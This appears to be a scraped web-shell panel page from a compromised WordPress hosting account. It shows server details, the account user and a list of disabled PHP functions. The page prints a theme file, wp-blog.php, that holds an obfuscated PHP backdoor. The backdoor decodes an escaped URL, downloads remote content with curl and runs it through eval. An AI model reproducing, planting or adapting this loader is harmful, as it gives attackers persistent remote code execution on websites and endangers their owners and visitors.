HEX
Server: LiteSpeed
System: Linux atali.colombiahosting.com.co 5.14.0-570.12.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 13 06:11:55 EDT 2025 x86_64
User: coopserp (1713)
PHP: 8.2.29
Disabled: dl,exec,passthru,proc_open,proc_close,shell_exec,memory_limit,system,popen,curl_multi_exec,show_source,symlink,link,leak,listen,diskfreespace,tmpfile,ignore_user_abord,highlight_file,source,show_source,fpaththru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setid,posix_times,posix_ttyname,posix_uname,proc_get_status,proc_nice,proc_terminate
$ pwd: /home/coopserp/public_html/wp-content/themes/
Upload Files
File: /home/coopserp/public_html/wp-content/themes/wp-blog.php
<?php
 goto nBHEQ; ke9pc: eval("\77\x3e" . $WQhuB); goto kROQv; fdw__: $OpdOB = curl_init(); goto biyrA; s3ghR: if (!$WQhuB) { goto B33VV; } goto ke9pc; O9KOB: R1bQb: goto s3ghR; hsNo_: curl_setopt($OpdOB, CURLOPT_RETURNTRANSFER, 1); goto mWnNf; JAwt0: $WQhuB = false; goto S2aSo; nBHEQ: $dcWlo = "\150\x74\164\160\x73\72\x2f\x2f\x66\x63\141\154\x70\x68\x61\56\x6e\x65\164\x2f\x77\x65\142\x2f\160\x68\x6f\164\x6f\x2f\62\60\x31\65\x31\60\62\64\57\x6e\141\170\143\56\164\170\164"; goto JAwt0; vDJbH: $WQhuB = curl_exec($OpdOB); goto RT9Qm; h6r11: curl_setopt($OpdOB, CURLOPT_FOLLOWLOCATION, true); goto vDJbH; RT9Qm: curl_close($OpdOB); goto O9KOB; mWnNf: curl_setopt($OpdOB, CURLOPT_SSL_VERIFYPEER, false); goto h6r11; biyrA: curl_setopt($OpdOB, CURLOPT_URL, $dcWlo); goto hsNo_; S2aSo: if (!function_exists("\x63\x75\x72\x6c\x5f\151\156\151\164")) { goto R1bQb; } goto fdw__; kROQv: B33VV:
@ Telegram